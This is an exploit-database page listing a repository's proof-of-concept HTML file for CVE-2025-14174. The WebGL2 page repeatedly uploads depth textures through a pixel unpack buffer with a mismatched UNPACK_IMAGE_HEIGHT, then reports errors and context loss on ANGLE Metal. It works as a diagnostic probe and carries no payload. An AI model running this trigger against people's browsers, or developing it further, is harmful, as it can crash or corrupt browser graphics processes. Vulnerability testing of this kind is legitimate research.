Exploit database

GH-3cd7492dbfabfa9157906631032586a4

typeconfused/cve-2025-14174-analysis

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-14174

3 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files4
typeconfused/cve-2025-14174-analysisRevision c3a46c289bdd

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc.html

HTML · 23,435 bytes
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>CVE-2025-14174 D32F PBO Probe</title>
    <style>
        * { box-sizing: border-box; }
        body { font: 12px/1.5 monospace; background: #0d1117; color: #c9d1d9; padding: 20px; max-width: 800px; }
        h2 { margin: 0 0 16px; font-size: 14px; color: #58a6ff; }
        .panel { background: #161b22; border: 1px solid #30363d; border-radius: 6px; padding: 12px; margin-bottom: 12px; }
        .controls { display: grid; grid-template-columns: repeat(auto-fill, minmax(180px, 1fr)); gap: 8px; }
        .control { display: flex; align-items: center; gap: 6px; }
        .control label { color: #8b949e; }
        .control input[type="number"], .control select {
            background: #0d1117; border: 1px solid #30363d; color: #c9d1d9;
            padding: 4px 8px; border-radius: 4px; width: 80px;
        }
        .control input[type="checkbox"] { accent-color: #238636; }
        button {
            background: #238636; color: #fff; border: none; padding: 8px 16px;
            border-radius: 6px; cursor: pointer; font: inherit; font-weight: bold; margin-right: 8px;
        }
        button:hover { background: #2ea043; }
        button:disabled { background: #30363d; cursor: not-allowed; }
        #copyBtn { background: #30363d; }
        #copyBtn:hover { background: #484f58; }
        .row { background: #161b22; padding: 10px 12px; margin: 8px 0; border-left: 3px solid #30363d; border-radius: 4px; }
        .row b { color: #58a6ff; }
        .pass { border-left-color: #238636; }
        .warn { border-left-color: #d29922; }
        .fail { border-left-color: #f85149; }
        pre { margin: 0; white-space: pre-wrap; }
        canvas { display: none; }
        #out { margin-top: 16px; }
    </style>
</head>
<body>
    <h2>CVE-2025-14174 Probe: D32F + PBO + UNPACK_IMAGE_HEIGHT</h2>

    <div class="panel">
        <div class="controls">
            <div class="control">
                <label>Iterations</label>
                <input id="iters" type="number" min="1" max="20000" value="500">
            </div>
            <div class="control">
                <label>Log every</label>
                <input id="progress" type="number" min="1" max="5000" value="100">
            </div>
            <div class="control">
                <label>Rounds</label>
                <input id="rounds" type="number" min="1" max="50" value="3">
            </div>
            <div class="control">
                <label>Mode</label>
                <select id="mode">
                    <option value="both">both</option>
                    <option value="teximage2d">texImage2D</option>
                    <option value="texsubimage2d">texSubImage2D</option>
                </select>
            </div>
            <div class="control">
                <input id="rand" type="checkbox" checked>
                <label>Randomize sizes</label>
            </div>
            <div class="control">
                <input id="readback" type="checkbox">
                <label>Readback</label>
            </div>
            <div class="control">
                <input id="sync" type="checkbox">
                <label>gl.finish</label>
            </div>
            <div class="control">
                <input id="sentinel" type="checkbox">
                <label>Sentinel check</label>
            </div>
            <div class="control">
                <input id="alt" type="checkbox">
                <label>Alternate safe/mismatch</label>
            </div>
            <div class="control">
                <input id="maxm" type="checkbox">
                <label>Max mismatch (1x1024/16)</label>
            </div>
        </div>
    </div>

    <button id="runBtn">Run Probe</button>
    <button id="copyBtn">Copy Log</button>
    <canvas id="c" width="64" height="64"></canvas>
    <div id="out"></div>

<script>
(function () {
    const out = document.getElementById('out');
    const runBtn = document.getElementById('runBtn');
    let contextLost = false;

    function log(title, detail, cls) {
        const div = document.createElement('div');
        div.className = 'row ' + (cls || '');
        const pre = document.createElement('pre');
        const b = document.createElement('b');
        b.textContent = title;
        pre.appendChild(b);
        pre.appendChild(document.createTextNode('\n' + detail));
        div.appendChild(pre);
        out.appendChild(div);
    }

    function glErrName(code) {
        const map = { 0: 'NO_ERROR', 0x500: 'INVALID_ENUM', 0x501: 'INVALID_VALUE', 0x502: 'INVALID_OPERATION', 0x505: 'OUT_OF_MEMORY' };
        return map[code] || ('0x' + code.toString(16));
    }

    function fboStatusName(code) {
        const map = {
            0x8CD5: 'FRAMEBUFFER_COMPLETE',
            0x8CD6: 'FRAMEBUFFER_INCOMPLETE_ATTACHMENT',
            0x8CD7: 'FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT',
            0x8CDB: 'FRAMEBUFFER_INCOMPLETE_DRAW_BUFFER',
            0x8CDC: 'FRAMEBUFFER_INCOMPLETE_READ_BUFFER',
            0x8CDD: 'FRAMEBUFFER_UNSUPPORTED',
            0x8CDF: 'FRAMEBUFFER_INCOMPLETE_MULTISAMPLE'
        };
        return map[code] || ('0x' + code.toString(16));
    }

    function clearErrors(gl) { while (gl.getError() !== 0); }

    function getRendererInfo(gl) {
        const info = { renderer: gl.getParameter(gl.RENDERER), vendor: gl.getParameter(gl.VENDOR) };
        const dbg = gl.getExtension('WEBGL_debug_renderer_info');
        if (dbg) {
            info.unmaskedRenderer = gl.getParameter(dbg.UNMASKED_RENDERER_WEBGL);
            info.unmaskedVendor = gl.getParameter(dbg.UNMASKED_VENDOR_WEBGL);
        }
        return info;
    }

    function hasAngleMetal(info) {
        const r = (info.unmaskedRenderer || info.renderer || '').toLowerCase();
        return r.includes('angle') && r.includes('metal');
    }

    function setup(gl, data) {
        const tex = gl.createTexture();
        gl.bindTexture(gl.TEXTURE_2D, tex);
        gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.NEAREST);
        gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.NEAREST);
        const pbo = gl.createBuffer();
        gl.bindBuffer(gl.PIXEL_UNPACK_BUFFER, pbo);
        gl.bufferData(gl.PIXEL_UNPACK_BUFFER, data, gl.STATIC_DRAW);
        return { tex, pbo };
    }

    function teardown(gl, tex, pbo) {
        gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 0);
        gl.bindBuffer(gl.PIXEL_UNPACK_BUFFER, null);
        gl.deleteBuffer(pbo);
        gl.deleteTexture(tex);
    }

    function pickSize(randomize, rng) {
        if (!randomize) return { width: 1, height: 512, unpackHeight: 128 };
        const heights = [64, 128, 256, 512, 768, 1024];
        const h = heights[Math.floor(rng() * heights.length)];
        const uh = Math.max(1, Math.floor(h / 4));
        return { width: 1, height: h, unpackHeight: uh };
    }

    function runOnce(gl, opts) {
        let { width, height, unpackHeight } = pickSize(opts.randomize, opts.rng);
        if (opts.fixedSize) {
            width = opts.fixedSize.width;
            height = opts.fixedSize.height;
            unpackHeight = opts.fixedSize.unpackHeight;
        } else {
            if (opts.forceMatch) unpackHeight = height;
            if (opts.forceMismatch) unpackHeight = Math.max(1, Math.min(height - 1, Math.floor(height / 4)));
        }
        const byteSize = width * height * 4;
        const data = new Float32Array(width * height);
        for (let i = 0; i < data.length; i++) data[i] = 0.25;

        const { tex, pbo } = setup(gl, data);
        clearErrors(gl);
        gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, unpackHeight);

        let err = 0;
        if (opts.mode === 'teximage2d') {
            gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F, width, height, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
            err = gl.getError();
        } else if (opts.mode === 'texsubimage2d') {
            gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F, width, height, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
            gl.getError();
            gl.texSubImage2D(gl.TEXTURE_2D, 0, 0, 0, width, height, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
            err = gl.getError();
        } else {
            gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F, width, height, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
            err = gl.getError();
            gl.texSubImage2D(gl.TEXTURE_2D, 0, 0, 0, width, height, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
            const err2 = gl.getError();
            err = err || err2;
        }

        let readbackAnomaly = false;
        let sentinelMismatch = false;
        let sentinelSkipped = false;
        let sentinelStatus = 0;

        if (opts.readback) {
            const fbo = gl.createFramebuffer();
            gl.bindFramebuffer(gl.FRAMEBUFFER, fbo);
            gl.framebufferTexture2D(gl.FRAMEBUFFER, gl.DEPTH_ATTACHMENT, gl.TEXTURE_2D, tex, 0);
            const rb = new Float32Array(width * height);
            gl.readPixels(0, 0, width, height, gl.DEPTH_COMPONENT, gl.FLOAT, rb);
            gl.getError();
            for (let i = 0; i < rb.length; i++) {
                const v = rb[i];
                if (!Number.isFinite(v) || v < 0.0 || v > 1.0) { readbackAnomaly = true; break; }
            }
            gl.bindFramebuffer(gl.FRAMEBUFFER, null);
            gl.deleteFramebuffer(fbo);
        }

        if (opts.sentinel) {
            const sTex = gl.createTexture();
            gl.bindTexture(gl.TEXTURE_2D, sTex);
            gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.NEAREST);
            gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.NEAREST);
            gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
            gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);
            gl.texStorage2D(gl.TEXTURE_2D, 1, gl.RGBA8, 2, 2);
            const fbo = gl.createFramebuffer();
            gl.bindFramebuffer(gl.FRAMEBUFFER, fbo);
            gl.framebufferTexture2D(gl.FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.TEXTURE_2D, sTex, 0);
            gl.drawBuffers([gl.COLOR_ATTACHMENT0]);
            gl.readBuffer(gl.COLOR_ATTACHMENT0);
            const status = gl.checkFramebufferStatus(gl.FRAMEBUFFER);
            if (status !== gl.FRAMEBUFFER_COMPLETE) {
                sentinelSkipped = true;
                sentinelStatus = status;
            } else {
                const prevViewport = gl.getParameter(gl.VIEWPORT);
                const wasDither = gl.isEnabled(gl.DITHER);
                if (wasDither) gl.disable(gl.DITHER);
                gl.viewport(0, 0, 2, 2);
                gl.clearColor(0.2, 0.4, 0.6, 0.8);
                gl.clear(gl.COLOR_BUFFER_BIT);
                const px = new Uint8Array(4);
                gl.readPixels(0, 0, 1, 1, gl.RGBA, gl.UNSIGNED_BYTE, px);
                gl.getError();
                const expected = [51, 102, 153, 204];
                for (let i = 0; i < 4; i++) { if (Math.abs(px[i] - expected[i]) > 1) { sentinelMismatch = true; break; } }
                if (wasDither) gl.enable(gl.DITHER);
                gl.viewport(prevViewport[0], prevViewport[1], prevViewport[2], prevViewport[3]);
            }
            gl.bindFramebuffer(gl.FRAMEBUFFER, null);
            gl.deleteFramebuffer(fbo);
            gl.deleteTexture(sTex);
        }

        if (opts.syncFinish) gl.finish();
        teardown(gl, tex, pbo);

        return { err, errName: glErrName(err), width, height, unpackHeight, byteSize, readbackAnomaly, sentinelMismatch, sentinelSkipped, sentinelStatus };
    }

    function runProbe() {
        out.innerHTML = '';
        runBtn.disabled = true;

        const canvas = document.getElementById('c');
        const gl = canvas.getContext('webgl2', { antialias: false, depth: true, stencil: false });
        if (!gl) { log('Init', 'WebGL2 not available', 'fail'); runBtn.disabled = false; return; }

        const info = getRendererInfo(gl);
        const infoStr = (info.unmaskedRenderer || info.renderer) + '\n' + (info.unmaskedVendor || info.vendor);
        log('Renderer', infoStr, hasAngleMetal(info) ? 'pass' : 'warn');

        if (!hasAngleMetal(info)) {
            log('Warning', 'ANGLE Metal not detected - results may be inconclusive', 'warn');
        }

        const mode = document.getElementById('mode').value;
        const readback = document.getElementById('readback').checked;
        const syncFinish = document.getElementById('sync').checked;
        const randomize = document.getElementById('rand').checked;
        const sentinel = document.getElementById('sentinel').checked;
        const alternate = document.getElementById('alt').checked;
        const maxMismatch = document.getElementById('maxm').checked;
        const iters = Math.max(1, Math.min(20000, parseInt(document.getElementById('iters').value, 10) || 1));
        const progressEvery = Math.max(1, Math.min(5000, parseInt(document.getElementById('progress').value, 10) || 100));
        const rounds = Math.max(1, Math.min(50, parseInt(document.getElementById('rounds').value, 10) || 1));

        const seed = randomize ? (Date.now() >>> 0) : 0;
        let rngState = seed || 0x12345678;
        const rng = () => { rngState = (rngState * 1664525 + 1013904223) >>> 0; return rngState / 0x100000000; };

        let lastErr = 0, ran = 0, lastSize = {}, firstSize = null;
        let minH = Infinity, maxH = 0, minUH = Infinity, maxUH = 0;
        let countNoErr = 0, countInvalidOp = 0, countOtherErr = 0;
        let countReadbackAnomaly = 0, countSentinelMismatch = 0, countSentinelSkipped = 0;
        let altSafeNoErr = 0, altSafeInvalid = 0, altSafeOther = 0;
        let altMismatchNoErr = 0, altMismatchInvalid = 0, altMismatchOther = 0;
        let totalTimeMs = 0, safeTimeMs = 0, mismatchTimeMs = 0;
        const sentinelStatusCounts = {};

        const onLost = (e) => { e.preventDefault(); contextLost = true; log('Context Lost', 'webglcontextlost fired', 'fail'); };
        canvas.addEventListener('webglcontextlost', onLost, false);

        for (let r = 0; r < rounds; r++) {
            for (let i = 0; i < iters; i++) {
                if (alternate) {
                    const t0 = performance.now();
                    const safeFixed = maxMismatch ? { width: 1, height: 1024, unpackHeight: 1024 } : null;
                    const safe = runOnce(gl, { mode, readback, syncFinish, randomize, sentinel, rng, forceMatch: !maxMismatch, fixedSize: safeFixed });
                    const t1 = performance.now();
                    safeTimeMs += (t1 - t0);
                    totalTimeMs += (t1 - t0);
                    lastErr = safe.err;
                    lastSize = safe;
                    if (!firstSize) firstSize = safe;
                    minH = Math.min(minH, safe.height);
                    maxH = Math.max(maxH, safe.height);
                    minUH = Math.min(minUH, safe.unpackHeight);
                    maxUH = Math.max(maxUH, safe.unpackHeight);
                    ran++;
                    if (safe.err === 0) { countNoErr++; altSafeNoErr++; }
                    else if (safe.err === 0x502) { countInvalidOp++; altSafeInvalid++; }
                    else { countOtherErr++; altSafeOther++; }
                    if (safe.readbackAnomaly) countReadbackAnomaly++;
                    if (safe.sentinelMismatch) countSentinelMismatch++;
                    if (safe.sentinelSkipped) {
                        countSentinelSkipped++;
                        const key = fboStatusName(safe.sentinelStatus);
                        sentinelStatusCounts[key] = (sentinelStatusCounts[key] || 0) + 1;
                    }
                    if (progressEvery && ran % progressEvery === 0) {
                        log('Progress', ran + '/' + (iters * rounds * 2) + ' | ' + safe.width + 'x' + safe.height + ' ih=' + safe.unpackHeight + ' | ' + safe.errName, '');
                    }
                    if (gl.isContextLost && gl.isContextLost()) {
                        contextLost = true;
                        log('Context Lost', 'gl.isContextLost() = true', 'fail');
                        break;
                    }
                    if (safe.err !== 0) break;

                    const t2 = performance.now();
                    const mismatchFixed = maxMismatch ? { width: 1, height: 1024, unpackHeight: 16 } : null;
                    const mismatch = runOnce(gl, { mode, readback, syncFinish, randomize, sentinel, rng, forceMismatch: !maxMismatch, fixedSize: mismatchFixed });
                    const t3 = performance.now();
                    mismatchTimeMs += (t3 - t2);
                    totalTimeMs += (t3 - t2);
                    lastErr = mismatch.err;
                    lastSize = mismatch;
                    if (!firstSize) firstSize = mismatch;
                    minH = Math.min(minH, mismatch.height);
                    maxH = Math.max(maxH, mismatch.height);
                    minUH = Math.min(minUH, mismatch.unpackHeight);
                    maxUH = Math.max(maxUH, mismatch.unpackHeight);
                    ran++;
                    if (mismatch.err === 0) { countNoErr++; altMismatchNoErr++; }
                    else if (mismatch.err === 0x502) { countInvalidOp++; altMismatchInvalid++; }
                    else { countOtherErr++; altMismatchOther++; }
                    if (mismatch.readbackAnomaly) countReadbackAnomaly++;
                    if (mismatch.sentinelMismatch) countSentinelMismatch++;
                    if (mismatch.sentinelSkipped) {
                        countSentinelSkipped++;
                        const key = fboStatusName(mismatch.sentinelStatus);
                        sentinelStatusCounts[key] = (sentinelStatusCounts[key] || 0) + 1;
                    }
                    if (progressEvery && ran % progressEvery === 0) {
                        log('Progress', ran + '/' + (iters * rounds * 2) + ' | ' + mismatch.width + 'x' + mismatch.height + ' ih=' + mismatch.unpackHeight + ' | ' + mismatch.errName, '');
                    }
                    if (gl.isContextLost && gl.isContextLost()) {
                        contextLost = true;
                        log('Context Lost', 'gl.isContextLost() = true', 'fail');
                        break;
                    }
                    if (mismatch.err !== 0) break;
                } else {
                    const t0 = performance.now();
                    const fixed = maxMismatch ? { width: 1, height: 1024, unpackHeight: 16 } : null;
                    const res = runOnce(gl, { mode, readback, syncFinish, randomize, sentinel, rng, fixedSize: fixed });
                    const t1 = performance.now();
                    totalTimeMs += (t1 - t0);
                    lastErr = res.err;
                    lastSize = res;
                    if (!firstSize) firstSize = res;
                    minH = Math.min(minH, res.height);
                    maxH = Math.max(maxH, res.height);
                    minUH = Math.min(minUH, res.unpackHeight);
                    maxUH = Math.max(maxUH, res.unpackHeight);
                    ran++;
                    if (res.err === 0) countNoErr++;
                    else if (res.err === 0x502) countInvalidOp++;
                    else countOtherErr++;
                    if (res.readbackAnomaly) countReadbackAnomaly++;
                    if (res.sentinelMismatch) countSentinelMismatch++;
                    if (res.sentinelSkipped) {
                        countSentinelSkipped++;
                        const key = fboStatusName(res.sentinelStatus);
                        sentinelStatusCounts[key] = (sentinelStatusCounts[key] || 0) + 1;
                    }
                    if (progressEvery && ran % progressEvery === 0) {
                        log('Progress', ran + '/' + (iters * rounds) + ' | ' + res.width + 'x' + res.height + ' ih=' + res.unpackHeight + ' | ' + res.errName, '');
                    }
                    if (gl.isContextLost && gl.isContextLost()) {
                        contextLost = true;
                        log('Context Lost', 'gl.isContextLost() = true', 'fail');
                        break;
                    }
                    if (res.err !== 0) break;
                }
            }
            if (contextLost || lastErr !== 0) break;
        }
        canvas.removeEventListener('webglcontextlost', onLost, false);

        const totalRuns = alternate ? (iters * rounds * 2) : (iters * rounds);
        const avgMs = ran ? (totalTimeMs / ran) : 0;
        const safeAvgMs = altSafeNoErr + altSafeInvalid + altSafeOther ? (safeTimeMs / (altSafeNoErr + altSafeInvalid + altSafeOther)) : 0;
        const mismatchAvgMs = altMismatchNoErr + altMismatchInvalid + altMismatchOther ? (mismatchTimeMs / (altMismatchNoErr + altMismatchInvalid + altMismatchOther)) : 0;
        const detail =
            'iterations: ' + ran + '/' + totalRuns + '\n' +
            'height range: ' + (minH === Infinity ? 0 : minH) + '-' + maxH + '\n' +
            'unpack range: ' + (minUH === Infinity ? 0 : minUH) + '-' + maxUH + '\n' +
            (alternate ? 'alt_mode=on\n' : '') +
            (maxMismatch ? 'max_mismatch=on\n' : '') +
            'results: NO_ERROR=' + countNoErr + ' INVALID_OP=' + countInvalidOp + ' other=' + countOtherErr + '\n' +
            (alternate ? ('alt_safe: NO_ERROR=' + altSafeNoErr + ' INVALID_OP=' + altSafeInvalid + ' other=' + altSafeOther + '\n') : '') +
            (alternate ? ('alt_mismatch: NO_ERROR=' + altMismatchNoErr + ' INVALID_OP=' + altMismatchInvalid + ' other=' + altMismatchOther + '\n') : '') +
            'time_total_ms: ' + totalTimeMs.toFixed(2) + '\n' +
            'time_avg_ms: ' + avgMs.toFixed(4) + '\n' +
            (alternate ? ('time_safe_avg_ms: ' + safeAvgMs.toFixed(4) + '\n') : '') +
            (alternate ? ('time_mismatch_avg_ms: ' + mismatchAvgMs.toFixed(4) + '\n') : '') +
            (readback ? 'readback anomalies: ' + countReadbackAnomaly + '\n' : '') +
            (sentinel ? 'sentinel mismatches: ' + countSentinelMismatch + '\n' : '') +
            (sentinel ? 'sentinel skipped: ' + countSentinelSkipped + '\n' : '') +
            (sentinel && countSentinelSkipped ? 'sentinel status: ' + JSON.stringify(sentinelStatusCounts) + '\n' : '') +
            'context lost: ' + (contextLost ? 'YES' : 'no');

        if (contextLost) {
            log('Result', detail, 'fail');
        } else if (lastErr === 0) {
            log('Result', detail + '\n\nNO_ERROR on mismatch pattern - internal staging impact unknown', 'warn');
        } else if (lastErr === 0x502) {
            log('Result', detail + '\n\nINVALID_OPERATION - upload rejected', 'pass');
        } else {
            log('Result', detail, 'fail');
        }

        runBtn.disabled = false;
    }

    runBtn.addEventListener('click', runProbe);

    document.getElementById('copyBtn').addEventListener('click', () => {
        const text = out.innerText;
        if (!text.trim()) return;
        navigator.clipboard.writeText(text).then(() => {
            const btn = document.getElementById('copyBtn');
            btn.textContent = 'Copied!';
            setTimeout(() => btn.textContent = 'Copy Log', 1500);
        });
    });
})();
</script>
</body>
</html>